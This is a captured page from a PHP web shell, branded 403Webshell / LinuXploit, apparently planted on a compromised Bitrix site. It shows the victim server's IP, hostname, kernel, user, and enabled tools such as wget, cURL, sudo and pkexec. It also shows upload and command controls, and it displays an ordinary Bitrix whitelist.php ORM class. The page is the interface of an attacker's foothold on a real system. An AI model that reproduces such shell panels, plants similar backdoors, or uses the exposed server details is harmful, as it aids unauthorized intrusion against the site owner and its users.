403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/security/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/security/lib/whitelist.php
<?php

namespace Bitrix\Security;

use Bitrix\Main\ORM\Query\Query;

/**
 * Class WhiteListTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_WhiteList_Query query()
 * @method static EO_WhiteList_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_WhiteList_Result getById($id)
 * @method static EO_WhiteList_Result getList(array $parameters = [])
 * @method static EO_WhiteList_Entity getEntity()
 * @method static \Bitrix\Security\WhiteList createObject($setDefaultValues = true)
 * @method static \Bitrix\Security\WhiteLists createCollection()
 * @method static \Bitrix\Security\WhiteList wakeUpObject($row)
 * @method static \Bitrix\Security\WhiteLists wakeUpCollection($rows)
 */
class WhiteListTable extends \Bitrix\Main\Entity\DataManager
{
	public static function getTableName()
	{
		return 'b_sec_white_list';
	}

	public static function getMap()
	{
		return [
			(new \Bitrix\Main\Entity\IntegerField('ID'))
				->configurePrimary()
				->configureAutocomplete(),
			(new \Bitrix\Main\Entity\StringField('WHITE_SUBSTR'))
				->configureSize(250)
		];
	}

	public static function getCollectionClass()
	{
		return WhiteLists::class;
	}

	public static function getObjectClass()
	{
		return WhiteList::class;
	}

	public static function deleteList(array $filter)
	{
		$entity = static::getEntity();
		$connection = $entity->getConnection();

		$where = Query::buildFilterSql($entity, $filter);
		$where = $where ? 'WHERE ' . $where : '';

		$sql = sprintf(
			'DELETE FROM %s %s',
			$connection->getSqlHelper()->quote($entity->getDbTableName()),
			$where
		);

		$res = $connection->query($sql);

		return $res;
	}

}

class WhiteLists extends EO_WhiteList_Collection
{
}

class WhiteList extends EO_WhiteList
{
}

Youez - 2016 - github.com/yon3zu
LinuXploit